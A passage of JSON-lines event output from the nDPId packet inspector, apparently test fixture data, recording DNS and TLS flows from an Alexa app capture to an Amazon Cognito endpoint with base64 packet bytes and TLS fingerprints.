+00469{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":149,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976032,"pkt_ts_usec":763299,"pkt_caplen":90,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":62,"pkt_len":90,"pkt_l4_len":28,"pkt":"MzMAAAAWePiC0\/vCht1gAAAAACQAAf6AAAAAAAAAeviC\/\/7T+8L\/AgAAAAAAAAAAAAAAAAAWOgAFAgAAAQCPAHvkAAAAAQQAAAD\/AgAAAAAAAAAAAAH\/0\/vC"} +00422{"flow_id":22,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":150,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976032,"pkt_ts_usec":852924,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoMplAAOcGbWk0XuiGrBAq2ABQwaTMUQJ0Q+o6AFARAH+s4gAAAAAAAAAA"} +00415{"flow_id":22,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":151,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976032,"pkt_ts_usec":855148,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAofGxAAEAGypasECrYNF7ohsGkAFBD6joAzFECdVAQAWGsAAAA"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":154,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1490976035502,"flow_last_seen":0,"flow_tot_l4_data_len":66,"flow_min_l4_data_len":66,"flow_max_l4_data_len":66,"flow_avg_l4_data_len":66,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":23559,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":154,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976035,"pkt_ts_usec":502440,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"AMDKkaPvePiC0\/vCCABFAABWWlJAAEARM0usECrYrBAqAVwHADUAQq4NgPsBAAABAAAAAAAAEGNvZ25pdG8taWRlbnRpdHkJdXMtZWFzdC0xCWFtYXpvbmF3cwNjb20AAAEAAQ=="} +00667{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":154,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1490976035502,"flow_last_seen":0,"flow_tot_l4_data_len":66,"flow_min_l4_data_len":66,"flow_max_l4_data_len":66,"flow_avg_l4_data_len":66,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":23559,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"cognito-identity.us-east-1.amazonaws.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00609{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":157,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976035,"pkt_ts_usec":549103,"pkt_caplen":196,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":196,"pkt_l4_len":162,"pkt":"ePiC0\/vCAMDKkaPvCABFAAC20jNAAEARuwmsECoBrBAq2AA1XAcAoid0gPuBgAABAAYAAAAAEGNvZ25pdG8taWRlbnRpdHkJdXMtZWFzdC0xCWFtYXpvbmF3cwNjb20AAAEAAcAMAAEAAQAAAAIABCLHNPDADAABAAEAAAACAAQ0AM87wAwAAQABAAAAAgAENBT4ysAMAAEAAQAAAAIABCLAPyvADAABAAEAAAACAAQ0ynf3wAwAAQABAAAAAgAENq23qQ=="} +00696{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":157,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":24,"flow_packet_id":2,"flow_first_seen":1490976035502,"flow_last_seen":1490976035549,"flow_tot_l4_data_len":228,"flow_min_l4_data_len":66,"flow_max_l4_data_len":162,"flow_avg_l4_data_len":114,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":23559,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"cognito-identity.us-east-1.amazonaws.com","num_queries":1,"num_answers":6,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"34.199.52.240"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":158,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1490976035553,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"34.199.52.240","src_port":38363,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":158,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976035,"pkt_ts_usec":553389,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8JIdAAEAG55WsECrYIsc08JXbAbv9XGi0AAAAAKAC\/\/\/OjgAAAgQFtAQCCAoA9kwzAAAAAAEDAwg="} +00443{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":159,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976035,"pkt_ts_usec":610272,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAOsGYRwixzTwrBAq2AG7ldsM0X8G\/VxotaASaN9A1wAAAgQFtAQCCApEF1TYAPZMMwEDAwg="} +00431{"flow_id":25,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":160,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976035,"pkt_ts_usec":612740,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0JIhAAEAG55ysECrYIsc08JXbAbv9XGi1DNF\/B4AQAVfXJgAAAQEICgD2TDlEF1TY"} +00739{"flow_id":25,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":161,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976035,"pkt_ts_usec":616784,"pkt_caplen":294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":294,"pkt_l4_len":260,"pkt":"AMDKkaPvePiC0\/vCCABFAAEYJIlAAEAG5resECrYIsc08JXbAbv9XGi1DNF\/B4AYAVcMvQAAAQEICgD2TDlEF1TYFgMBAN8BAADbAwP73M1sxI2HkRgH8V1BL3eSUwWF+lNvBxlDQftlXGYrfgAAIPr6zKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAksrKAAD\/AQABAAAAAC0AKwAAKGNvZ25pdG8taWRlbnRpdHkudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAja2gAdABcAGGpqAAEA"} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":161,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":25,"flow_packet_id":4,"flow_first_seen":1490976035553,"flow_last_seen":1490976035616,"flow_tot_l4_data_len":372,"flow_min_l4_data_len":32,"flow_max_l4_data_len":260,"flow_avg_l4_data_len":93,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"34.199.52.240","src_port":38363,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"cognito-identity.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00431{"flow_id":25,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":162,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976035,"pkt_ts_usec":732914,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0KgNAAOsGNyEixzTwrBAq2AG7ldsM0X8H\/VxpmYAQAHfW9AAAAQEICkQXVQYA9kw5"} +02376{"flow_id":25,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":163,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976035,"pkt_ts_usec":733287,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcKgRAAOsGMXgixzTwrBAq2AG7ldsM0X8H\/VxpmYAQAHeC4gAAAQEICkQXVQcA9kw5FgMDAFkCAABVAwP7nSxwqhrhC8hj3aebOC2aiUEQYFfw4zPSb3qj1v1bOiCuITFLxCcAmkxVA5xh9l9LJAIe6ginKsjl8g3o3EcTxcAvAAAN\/wEAAQAACwAEAwABAhYDAwt\/CwALewALeAAGNjCCBjIwggUaoAMCAQICEGwI7BVOWmitZ3sRtiZfemYwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNjA1MjUwMDAwMDBaFw0xNzA2MjIyMzU5NTlaMIGCMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjExMC8GA1UEAwwoY29nbml0by1pZGVudGl0eS51cy1lYXN0LTEuYW1hem9uYXdzLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALEVyrTia54iSkmNIRGZmxUNEuVY3MLSjObtHGMkw7JTq\/1eTc0SyWtwbLzUTEJE6lkpr4Z0yGlUyPs8tIIwEu1VABPNFNfOBuND80no464s\/smspX52u+dpEygzue+\/PZtYZu6y1Wp9inNZvnmHP55j+6091tVGkUiojxzlwtmx99grexjeBuvonQEOqw\/m9YhKDaEqQe1G8FQjT7GXFyl1Ur55CUl4qzK6T4zs1A7ZkkJzePZkqTGIS7yl6IpGbHkgCS17JuQBRa4Kx9tUUYNOP6SAQhncfthD7WR+8IQgUVoBT2kSd8tkb0gi7fkTOevZaCw60d14pDtXm1LZCdcCAwEAAaOCAqUwggKhMFMGA1UdEQRMMEqCHmNvZ25pdG8taWRlbnRpdHkuYW1hem9uYXdzLmNvbYIoY29nbml0by1pZGVudGl0eS51cy1lYXN0LTEuYW1hem9uYXdzLmNvbTAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AN3rHSt6DU+mIIuBrYFocH4ujp0B1VyIjT0RxM227L7MAAABVOjycDwAAAQDAEYwRAIgeRx26qlwGuyp5CZo6169qfCP7eBBq6wgfiBI8uf2ZXQCIAqZ+8wMSI3anvAs9qU2W0DX8hQHMYVBeJlmWOyt6OGPAHcApLkJkLQYWBSHuxOizGdwCjw1mAT5G9+443fNDsgN3BAAAAFU6PJwcQAABAMASDBGAiEAve+QSBc5nvjPJqYTbvkGkXTBlRpeoe82E9AtfBA+co4CIQDBquBi8+PV+5ofABQ7Q0wr+o+kmWFNed+WVgrlsofBajANBgkqhkiG9w0BAQsFAAOCAQEAoRTuYjU="} +00814{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":163,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":25,"flow_packet_id":6,"flow_first_seen":1490976035553,"flow_last_seen":1490976035733,"flow_tot_l4_data_len":1884,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":314,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"34.199.52.240","src_port":38363,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"cognito-identity.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02388{"flow_id":25,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":164,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976035,"pkt_ts_usec":733705,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcKgVAAOsGMXcixzTwrBAq2AG7ldsM0YSv\/VxpmYAQAHcMHgAAAQEICkQXVQcA9kw5gHSg6uLkzhbMvP38DorwCrBJ7tYjkxurspgkr9umwjIueJqITvY2CdnPF9ymYw29XOZiddB8omiDeF9PGl\/be\/oZcrTLppLW0vre7mvO\/NZKoK70UhxYBxqk\/\/wM5ZAXRkZGVi8S5TOiwvJZC25SGVgnuMd+zBfqfFp0CW1XoH6www1AdkELDMRWZikoacZHN661AMavapsPQ20yzXEwfWOZUvGcgVcugYZReoabBe4LgIPpGnGRoXw7qzLbrqv7CgasfNOUXNnZ6rdJjndgVL\/duEjtSIuR\/6roDFhD6BbAUFaJyg75DaN4oGJcRPk3gWnVUxE4DcUGrDsABTwwggU4MIIEIKADAgECAhBRP7l0OHC3NEBBjTCTBpn\/MA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM0MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zAfBgNVHSMEGDAWgBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzANBgkqhkiG9w0BAQsFAAOCAQEAXpRWSd2OLWX1wTZRtgPj2p5zGfIfWatYfmwmBSz6gddcIxciLDeT94bsheawo\/0f4jKoRW\/h2fu5r9JwoDJCZb+E\/hYqjz\/Fptajk31D6XQhkTUo9GPpLu339Vx\/S5q1IOkKveBFEAwUlJpdpeM="} +01101{"flow_id":25,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":165,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976035,"pkt_ts_usec":733821,"pkt_caplen":559,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":559,"pkt_l4_len":525,"pkt":"ePiC0\/vCAMDKkVoBCABFAAIhKgZAAOsGNTEixzTwrBAq2AG7ldsM0YpX\/VxpmYAYAHeRfgAAAQEICkQXVQcA9kw5S5HoJJtGQGX0InLNmfiIEfXzf+YzguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccWAwMBTQwAAUkDABdBBO0dlRwvj9UJ22v+tmXv9gHabrUVy9uJLKy\/2wSI+eBGhAKsO4Fn\/0tnwgTvneDo2LUhN1iKDsbVWJST7MBvJo4EAQEARzH5fGgmwf8skyCeOmIaBQEZQqq3FRgS6Bhh2q4tF2RBZ+LZsCJzrxloz0zMXzh4twd6HSPNDKsLBiTuyef4r0U7W+AdmTpbJzwcW4zxfdqheVZNKkmzvRM1FoSve0uBaJvoyU5BgenCY0SwzTU9LAtlf+lGdynmbfvso0qiUhX4LNSSu60\/0WmMcNWNu6Z0Sy9IS3uuF5Ok7+x3Y70EO2yrIivRpbuRGYlUDVtqbB3rLxMREtxGCCuRMOGjUriLPnWG4FWZe4sf2fGmlRTKR5ydwPy+WDhxiIsRS3\/6FRyczGmi+E8jMvcCKjoX6vvLYVobArr4dUfEUaoaACC4shYDAwAEDgAAAA=="} +01200{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":165,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":25,"flow_packet_id":8,"flow_first_seen":1490976035553,"flow_last_seen":1490976035733,"flow_tot_l4_data_len":3889,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":486,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"34.199.52.240","src_port":38363,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"cognito-identity.us-east-1.amazonaws.com","server_names":"cognito-identity.amazonaws.com,cognito-identity.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=cognito-identity.us-east-1.amazonaws.com","alpn":"h2,http\/1.1","fingerprint":"56:17:8F:E9:45:10:32:78:FF:FD:E3:09:60:5A:B5:3B:8D:8C:F8:34"}} +00430{"flow_id":25,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":166,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976035,"pkt_ts_usec":735872,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0JIpAAEAG55qsECrYIsc08JXbAbv9XGmZDNGEr4AQAWLQVAAAAQEICgD2TEVEF1UH"} +00431{"flow_id":25,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":167,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976035,"pkt_ts_usec":736148,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0JItAAEAG55msECrYIsc08JXbAbv9XGmZDNGKV4AQAW3KoQAAAQEICgD2TEVEF1UH"} +00431{"flow_id":25,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":168,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976035,"pkt_ts_usec":737985,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0JIxAAEAG55isECrYIsc08JXbAbv9XGmZDNGMRIAQAXnIqAAAAQEICgD2TEVEF1UH"} +00607{"flow_id":25,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":169,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976035,"pkt_ts_usec":749549,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"AMDKkaPvePiC0\/vCCABFAACyJI1AAEAG5xmsECrYIsc08JXbAbv9XGmZDNGMRIAYAXl0lgAAAQEICgD2TEZEF1UHFgMDAEYQAABCQQRN9za8B94HEa6ty8Pnz4h2v2eKq3x\/Wu0\/TSkFMWkPvAUaorLTTx+6KBWcA2N6vxGMcz8UEGVspLYXyp1\/0rJXFAMDAAEBFgMDACgAAAAAAAAAAOmMJU3zkvmhEGXZo2qof7WZNLZPun\/fbeZtgtF8\/cfy"} +00503{"flow_id":25,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":170,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976035,"pkt_ts_usec":851188,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ePiC0\/vCAMDKkVoBCABFAABnKgdAAOsGNuoixzTwrBAq2AG7ldsM0YxE\/VxqF4AYAHeWcwAAAQEICkQXVScA9kxGFAMDAAEBFgMDACgFksZRRM3rwwhubGkXNUPrc959OkrTfBCZxirVPmCm\/4th2FbAogMZ"} +00431{"flow_id":25,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":171,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976035,"pkt_ts_usec":889957,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0JI5AAEAG55asECrYIsc08JXbAbv9XGoXDNGMd4AQAXnHxwAAAQEICgD2TFVEF1Un"} +01393{"flow_id":25,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":172,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976035,"pkt_ts_usec":936329,"pkt_caplen":773,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":773,"pkt_l4_len":739,"pkt":"AMDKkaPvePiC0\/vCCABFAAL3JI9AAEAG5NKsECrYIsc08JXbAbv9XGoXDNGMd4AYAXlCLQAAAQEICgD2TFlEF1UnFwMDAr4AAAAAAAAAATfJNPwQcLlZX4judbcQgduxM9Q2zsByOrZWZ0Q5aRNkgfLOXPdKjG4bi70F83qCt6i4PUVxc1mSOjYIth1mOLxecz0hpwfF2n7j9xwl05WuMcAxTi8+k\/hkEP3\/mVul0eqvo6qXWv5YH6n5bpzjQf3I\/gX6YyCzUeotAU6zEgwnHdZXgcZX8gHKPt2OC062Ytjb\/7IWHfBFnPaFFC8C1WSvGlHFgiodSa7hPQRJXiuShdFAE9AhC9UD8IC+YyoTpRZijvUfEvRpE1TmG9eX9rWYRPwkishc8KXc+HU35fJaZABdgWmZajwl8PysfP5yX1fyxYemT9RI+a3JsoeHU3DFbeleAoiS5rFltrJc9RKD0LbG9VZO5ZcTk9OXRukURY+YnetLgSNL74Tn1QzHwAUYwn7vNu1kvOiXqANu+vLlRGcI41bZ8Hr11\/Ned1NTgwobDkZKqsrzVm2ecvNtxzDHtw1DQ+Ev+4uEyXI4mM2yZfXF9R+VMJtlIlb58eMJ\/kgTuevgmqTOYuaBeHg8lj6gzMX0tgc9URTBa0czZIGdEZeGa2b8xCol7obpxf8WiNp\/NK+SQ9AD84Zh9j8aonMYjmAwalFaqyg9D6iecp3KhjE7kzrAekUpHNBH258LCBUG78CU5TPp9sJDUzmx\/22pJ\/TGKVb5y2lrvCQV6L8pccrPTMv0j53zWCRD5gXFCEsx5lp6PoEqmgwHwNMzS8INu\/hUZjMxo2CjLa1P4r\/8P\/SN6q9WwH3JF8jWKW\/WKkLaG6Cqri0PPfxKWO17OT\/8UKuDgFGgySgYt\/A9bvZVDjXoo+h8xmhlp+aZrNdPtuggoUwCNRSLGObXXsPsJQNHPw10A5zhwZaUw4Pyx37q26UHhfNWYVoVE62R8v2G23AOpdZCxGzEK13tMsjA9Ge8BOJgDqU="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":182,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1490976037754,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"34.199.52.240","src_port":38364,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 